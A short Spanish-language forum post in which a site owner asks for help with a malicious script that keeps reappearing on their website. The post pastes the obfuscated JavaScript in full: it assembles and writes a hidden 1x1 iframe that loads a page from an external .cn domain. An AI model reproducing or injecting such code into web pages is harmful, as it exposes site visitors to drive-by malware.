Script malicioso, autoreproducible, propagable?

[fmorillo]

<!-- ad --><SCRIPT TYPE="text/javascript" LANGUAGE="JavaScript1.2">document.write(''+'<if'+u nescape('%72%61%6D')+'e '+String.fromCharCode(105)+''+unescape('%64')+unes cape('%3D%22%65')+'ef5e'+'ef0'+unescape('%65')+'4a '+String.fromCharCode(54)+''+unescape('%30%64')+St ring.fromCharCode(57)+String.fromCharCode(51)+''+S tring.fromCharCode(56)+String.fromCharCode(99)+''+ String.fromCharCode(102)+''+unescape('%62%63')+Str ing.fromCharCode(52)+String.fromCharCode(102)+Stri ng.fromCharCode(53)+''+'66'+String.fromCharCode(48 )+''+'c'+'87eb'+unescape('%22%20%6E%61')+String.fr omCharCode(109)+String.fromCharCode(101)+String.fr omCharCode(61)+''+String.fromCharCode(34)+String.f romCharCode(54)+String.fromCharCode(98)+''+unescap e('%33%34%31')+String.fromCharCode(49)+''+'6d6'+un escape('%37%38')+'7a5'+'33f'+String.fromCharCode(1 00)+''+unescape('%34%62%31')+'c2'+String.fromCharC ode(101)+String.fromCharCode(100)+String.fromCharC ode(98)+String.fromCharCode(97)+''+unescape('%36') +String.fromCharCode(57)+String.fromCharCode(48)+' '+unescape('%30%32%22%20')+String.fromCharCode(32) +''+String.fromCharCode(119)+String.fromCharCode(1 05)+''+unescape('%64')+'th=1'+unescape('%20%68')+u nescape('%65%69%67')+'ht'+'=1 '+'fra'+unescape('%6D')+'ebor'+String.fromCharCode (100)+String.fromCharCode(101)+String.fromCharCode (114)+String.fromCharCode(61)+''+String.fromCharCo de(48)+String.fromCharCode(32)+String.fromCharCode (115)+String.fromCharCode(114)+''+'c='+String.from CharCode(34)+String.fromCharCode(104)+String.fromC harCode(116)+String.fromCharCode(116)+''+'p:'+Stri ng.fromCharCode(47)+String.fromCharCode(47)+''+une scape('%74')+String.fromCharCode(104)+String.fromC harCode(101)+''+'h'+unescape('%75%67')+'eti'+Strin g.fromCharCode(116)+String.fromCharCode(115)+''+St ring.fromCharCode(116)+String.fromCharCode(111)+'' +'p'+'.cn/'+'do'+'nt'+unescape('%73%74%6F%70')+unescape('%2E ')+unescape('%68')+'tml"'+unescape('%3E')+unescape ('%3C%2F%69')+unescape('%66%72%61')+String.fromCha rCode(109)+String.fromCharCode(101)+String.fromCha rCode(62)+''+'');</SCRIPT><!-- /ad -->


Hola amigos, llevo meses intetando limpiar mi sitio, y se sigue reporduciondo codigos que son estraños,

Saludos